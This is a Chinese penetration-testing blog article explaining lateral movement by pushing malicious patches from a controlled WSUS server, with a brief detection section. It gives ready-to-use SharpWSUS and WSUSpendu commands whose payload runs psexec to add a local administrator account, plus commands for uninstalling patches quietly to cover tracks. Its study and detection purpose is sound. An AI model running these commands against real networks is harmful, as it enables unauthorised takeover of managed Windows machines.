渗透技巧 —— 通过 WSUS 进行横向移动

发布于 2024-08-13 07:01:45 字数 9377 浏览 33 评论 0

0x00 前言

在内网渗透中,当我们获得了 WSUS 服务器的控制权限后,可以通过推送补丁的方式进行横向移动。这个利用方法最早公开在 BlackHat USA 2015。本文将要整理这个利用方法的相关资料,结合思路思路,得出行为检测的方法。

参考资料:

0x01 简介

本文将要介绍以下内容:

  • 环境搭建
  • 利用思路
  • 实现工具
  • 行为检测

0x02 环境搭建

本节介绍 WSUS 服务器搭建的过程,通过配置客户端实现补丁的推送

参考资料:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10 )

1.WSUS 服务器搭建

WSUS 服务器需要安装在 Windows Server 操作系统

(1) 安装

在添加角色和功能页面,选择 Windows Server Update Services

需要指定补丁更新包的存放路径,这里可以设置为 C:\WSUS

(2) 配置

打开 Windows Server Update Services 进行配置

配置时选择默认选项即可,在选择 Download update information from Microsoft Update 时,点击 Start Connecting ,如果报错提示 An HTTP error has occurred ,经过我的多次测试,可以采用以下方法解决:

关闭当前页面

进入 Windows Server Update Services ,选择 synchronization ,点击 synchronization Now ,等待同步完成,如下图

Alt text

选择 Options ,选择 WSUS Server Configuration Wizard ,重新进入配置页面,连接成功,如下图

Alt text

配置完成后需要创建计算机组,如下图

Alt text

当同步完成后,会提示下载了多少个补丁,如下图

Alt text

选择 Updates 页面,可以查看已下载的补丁, Unapproved 表示未安装的补丁,安装后的补丁可以选择 Approved 进行查看,如下图

Alt text

选中一个补丁,点击 Approve... ,弹出的对话框可以针对指定计算机组安装补丁,如下图

Alt text

2.客户端配置

客户端只要是 Windows 系统即可,需要通过组策略配置

依次选择 Computer Configuration -> Administrative Templates -> Windows Components -> Windows Update ,选择 Configure Automatic Updates ,设置成 Auto download and notify for install ,选择 Specify intranet Microsoft update service location ,设置更新服务器地址为 http://192.168.1.182:8530

注:

需要指定端口 8530

对于域环境,配置组策略后需要等待一段时间,这是因为组策略每 90 分钟在后台更新一次,随机偏移量为 0-30 分钟,如果想立即生效,可以输入命令: gpupdate /force

对于工作组环境,配置组策略可以立即生效

当客户端开始补丁更新时,WSUS 服务器会获得客户端的信息,并显示在 Computers 页面

组策略配置的操作等同于创建注册表,具体信息如下:

(1) 组策略配置自动更新后会创建注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查询命令: REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"

返回结果示例:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
    UseWUServer    REG_DWORD    0x1
    NoAutoUpdate    REG_DWORD    0x0
    AUOptions    REG_DWORD    0x3
    ScheduledInstallDay    REG_DWORD    0x0
    ScheduledInstallTime    REG_DWORD    0x3

其中 AUOptions 对应组策略配置中的 Configure automatic updating2 代表 Notify for download and notify for install3 代表 Auto download and notify for install4 代表 Auto download and schedule the install5 代表 Allow local admin to choose setting

(2) 组策略配置服务器地址后会创建注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查询命令: REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"

返回结果示例:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    http://192.168.112.182:8530
    WUStatusServer    REG_SZ    http://192.168.112.182:8530

3.推送补丁

在 WSUS 服务器的 Windows Server Update Services 页面,选择指定补丁,右键点击 Approve... ,在弹出的对话框中选择计算机组即可

等待客户端到达补丁更新时间,即可完成补丁的推送

0x03 利用思路

如果我们能够生成一个带有 Payload 的补丁,就能够通过补丁进行横向移动,但是在利用上需要注意补丁文件的签名问题:Windows 的补丁文件需要带有微软的签名

通常的利用方法是使用带有微软签名的程序,例如 psexec,通过 psexec 执行命令或者添加一个管理员用户

0x04 实现工具

开源的工具有以下三个:

以上三个工具的实现原理基本相同,都是创建一个调用 psexec 执行命令的补丁,将补丁推送至指定计算机,等待目标计算机更新补丁

创建补丁的操作需要连接 SQL 数据库,依次实现以下操作:

  • ImportUpdate
  • PrepareXMLtoClient
  • InjectURL2Download
  • DeploymentRevision
  • PrepareBundle
  • PrepareXMLBundletoClient
  • DeploymentRevision

1. 创建补丁

SharpWSUS 在创建补丁时需要注意转义字符,命令示例:

SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^&^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"

这条命令将会在 UpdatesSecurity Updates 页面下创建 WSUSDemo ,如下图

Alt text

2. 补丁部署

将补丁部署到指定计算机组,命令示例:

SharpWSUS.exe approve /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7 /groupname:"Demo Group"

这条命令会创建计算机组 Demo Group ,并且把 win-iruj9k30gr7 移动到该组下面,如下图

Alt text

接下来需要等待客户端安装这个补丁

3. 查看补丁状态

查看补丁是否被安装,命令示例:

SharpWSUS.exe check /updateid:b95933c9-084a-4b66-b3a0-2c2cd38261ed /computername:win-iruj9k30gr7

补丁未安装的输出如下:

[*] Action: Check Update

Targeting win-iruj9k30gr7
TargetComputer, ComputerID, TargetID------------------------------win-iruj9k30gr7, d00cc6fd-4b98-492a-9f5d-12b1a14bd7a6, 2

Update Info cannot be found.

[*] Check complete

还有一种查看方法是查看计算机的补丁更新时间,示例命令: SharpWSUS.exe inspect

输出示例:

####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime---------------------------------------------computer02, 192.168.112.149, 7.6.7601.24436, 8/30/2022 7:55:44 AM
win-iruj9k30gr7, 192.168.112.143, 7.6.7600.320, 8/30/2022 7:42:57 AM

为了便于测试,可以强制客户端更新补丁,看到新的补丁信息,如下图

Alt text

4. 清除补丁信息

命令示例:

SharpWSUS.exe delete /updateid:f316d1b2-b530-40bc-b4d7-0453d85c4c58 /computername:win-iruj9k30gr7 /groupname:"Demo Group"

这条命令会删除补丁,删除添加的计算机组

在整个补丁更新过程中,WSUS 服务器会将 psexec.exe 保存在 WSUS 服务器本地 C:\wsus\wuagent.exeC:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe ,需要手动清除

在测试 WSUSpendu 时,为了便于分析细节,可以修改以下代码:

[CmdletBinding()]
Param(
)
$PayloadFile = "psexec.exe"
$PayloadArgs = '-accepteula -s -d cmd.exe /c "net user Titi Password123_ /add && net localgroup Administrators Titi /add"'
$ComputerName = "win-iruj9k30gr7"
$Inject = 1

命令行执行: powershell -ep bypass -f WSUSpendu.ps1 -Verbose ,将会输出完整的信息

0x05 行为检测

客户端的补丁历史更新记录会保存所有的补丁安装信息:

如下图

Alt text

但是,攻击者如果获得了系统的管理员控制权限,可以通过命令行卸载补丁的方式清除历史更新记录,命令行卸载补丁的命令示例:

  • 查看更新: wmic qfe list brief/format:table
  • 卸载指定更新: wusa /uninstall /kb:976902 /quiet /norestart

0x06 小结

本文介绍了通过 WSUS 进行横向移动的方法和实现工具,结合利用思路,给出行为检测的建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
26 人气
更多

推荐作者

櫻之舞

文章 0 评论 0

弥枳

文章 0 评论 0

m2429

文章 0 评论 0

野却迷人

文章 0 评论 0

我怀念的。

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文